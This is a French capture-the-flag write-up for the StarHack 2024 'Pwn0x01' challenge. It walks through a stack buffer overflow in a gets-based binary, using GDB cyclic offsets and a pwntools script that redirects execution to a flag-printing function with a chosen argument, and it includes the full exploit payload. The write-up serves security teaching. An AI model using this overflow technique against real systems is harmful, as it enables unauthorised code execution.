> For the complete documentation index, see [llms.txt](https://ctf.thaysan.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.thaysan.com/ctf-and-writeups/2024-or-star-hack/pwn/pwn0x01.md).

# Pwn0x01

**Flag:** StarHack{YOU\_WON!!}

## Challenge

{% file src="/files/D7ZQoE2Vp5HLrwhlfsmE" %}

{% hint style="info" %}
**Description**

***

return to win!!!

nc 35.180.44.229 1235
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker et n'est pas disponible
{% endhint %}

## Solution

On commence par décompiler le binaire, ici, j'utilise **Ghidra**. On peut noter 4 choses importantes :

* La fonction **`portalGun`** utilise **`gets`**, cette fonction est vulnérable aux Buffers Overflow.
* La fonction **`callMe`** permet d'afficher le flag, il faut donc faire en sorte de l'appeler.
* La fonction **`callMe`** est à l'adresse **`0x080485c6`**.
* Le paramètre de la fonction **`callMe`** doit être égal à **`0xdeadbeef`**

<figure><img src="/files/6PtU0FcO7bTsEemSPbEe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3pu1p0C6YKrnD1S7T9vK" alt=""><figcaption></figcaption></figure>

Maintenant, on va passer sur **GDB** (avec le plugin [**GEF**](https://github.com/hugsy/gef)) pour débugger tout ça. Le buffer qui prend notre input à une taille de 0x44 (68). Notre objectif est de le dépasser pour insérer l'adresse de **`callMe`** dans **`EIP`** et mettre **`0xdeadbeef`** en paramètre. La commande **`cyclic`** permet de générer des patterns et ainsi repérer le nombre de caractères à entrer pour arriver à modifier un endroit spécifique.

```
gef➤  r <<(cyclic 100)

hey Morty give an adress for my portal Gun

Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf60  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x61616172 ("raaa"?)
$ecx   : 0xf7e258ac  →  0x00000000
$edx   : 0x0       
$esp   : 0xffffcfb0  →  "uaaavaaawaaaxaaayaaa"
$ebp   : 0x61616173 ("saaa"?)
$esi   : 0x8048730  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x61616174 ("taaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb0│+0x0000: "uaaavaaawaaaxaaayaaa"       ← $esp
0xffffcfb4│+0x0004: "vaaawaaaxaaayaaa"
0xffffcfb8│+0x0008: "waaaxaaayaaa"
0xffffcfbc│+0x000c: "xaaayaaa"
0xffffcfc0│+0x0010: "yaaa"
0xffffcfc4│+0x0014: 0x00000000
0xffffcfc8│+0x0018: 0xf7c3c819  →  <__new_exitfn+9> add ebx, 0x1e761b
0xffffcfcc│+0x001c: 0xf7c23c65  →  <__libc_start_call_main+117> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616174
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x61616174 in ?? (), reason: SIGSEGV
```

EIP contient taaa, on cherche donc l'offset de cette valeur :

```
gef➤  shell cyclic -l taaa
76
```

Il faut donc 76 caractères pour atteindre **`EIP`**.  On va donc envoyer **`76 * A`** puis l'adresse de **`callMe`** (à l'envers puisque little endian).

```
gef➤  r <<(echo $(python -c 'print("A"*76 + "\xc6\x85\x04\x08")')$(cyclic 40))

hey Morty give an adress for my portal Gun

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x804b1a0  →  0xfbad2488
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x2c00    
$edx   : 0x2c2c2c2c (",,,,"?)
$esp   : 0xffffcfb4  →  "baaacaaadaaaeaaafaaagaaahaaaiaaajaaa"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048730  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x61616161 ("aaaa"?)
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction OVERFLOW RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb4│+0x0000: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaa"       ← $esp
0xffffcfb8│+0x0004: "caaadaaaeaaafaaagaaahaaaiaaajaaa"
0xffffcfbc│+0x0008: "daaaeaaafaaagaaahaaaiaaajaaa"
0xffffcfc0│+0x000c: "eaaafaaagaaahaaaiaaajaaa"
0xffffcfc4│+0x0010: "faaagaaahaaaiaaajaaa"
0xffffcfc8│+0x0014: "gaaahaaaiaaajaaa"
0xffffcfcc│+0x0018: "haaaiaaajaaa"
0xffffcfd0│+0x001c: "iaaajaaa"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616161
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x61616161 in ?? (), reason: SIGSEGV

```

**`ESP + 0`**, qui correspond à notre premier paramètre de la fonction **`callMe`**, contient **`baaa`**. On calcule son offset :

```
gef➤  shell cyclic -l baaa
4
```

On doit mettre 4 caractères random de plus après notre adresse pour accéder au paramètre de la fonction et mettre **`0xdeadbeef`** dedans. J'ai ajouté **`flag.txt`** avec un faux flag dedans pour tester notre payload. Ça nous donne :

```
gef➤  r <<(echo $(python -c 'print("A"*76 + "\xc6\x85\x04\x08") + "B"*4 + "\xef\xbe\xad\xde"'))

hey Morty give an adress for my portal Gun
FakeFlag{exploitation_locale_faite}

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x23      
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x0       
$edx   : 0x0       
$esp   : 0xffffcfb4  →  0xdeadbeef
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048730  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb4│+0x0000: 0xdeadbeef   ← $esp
0xffffcfb8│+0x0004: 0x00000000
0xffffcfbc│+0x0008: 0xf7c23c65  →  <__libc_start_call_main+117> add esp, 0x10
0xffffcfc0│+0x000c: 0x00000000
0xffffcfc4│+0x0010: 0x00000000
0xffffcfc8│+0x0014: 0xf7c3c819  →  <__new_exitfn+9> add ebx, 0x1e761b
0xffffcfcc│+0x0018: 0xf7c23c65  →  <__libc_start_call_main+117> add esp, 0x10
0xffffcfd0│+0x001c: 0x00000001
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x42424242 in ?? (), reason: SIGSEGV
```

Le programme crash, mais on a bien eu le flag. Plus qu'à envoyer notre payload au serveur, j'utilise Python avec la librairie [**pwntools**](https://github.com/Gallopsled/pwntools) :

```python
from pwn import *

context.log_level = 'error'

filler = b'A' * 76
address = p32(0x080485c6)
dummy = b'B' * 4
param_1 = p32(0xdeadbeef)
payload =  filler + address + dummy + param_1

client = remote('35.180.44.229', 1235)
client.recvuntil(b'Gun\n')

client.sendline(payload)
client.interactive()
```

<pre><code><strong>$ python chall.py
</strong>StarHack{YOU_WON!!}
</code></pre>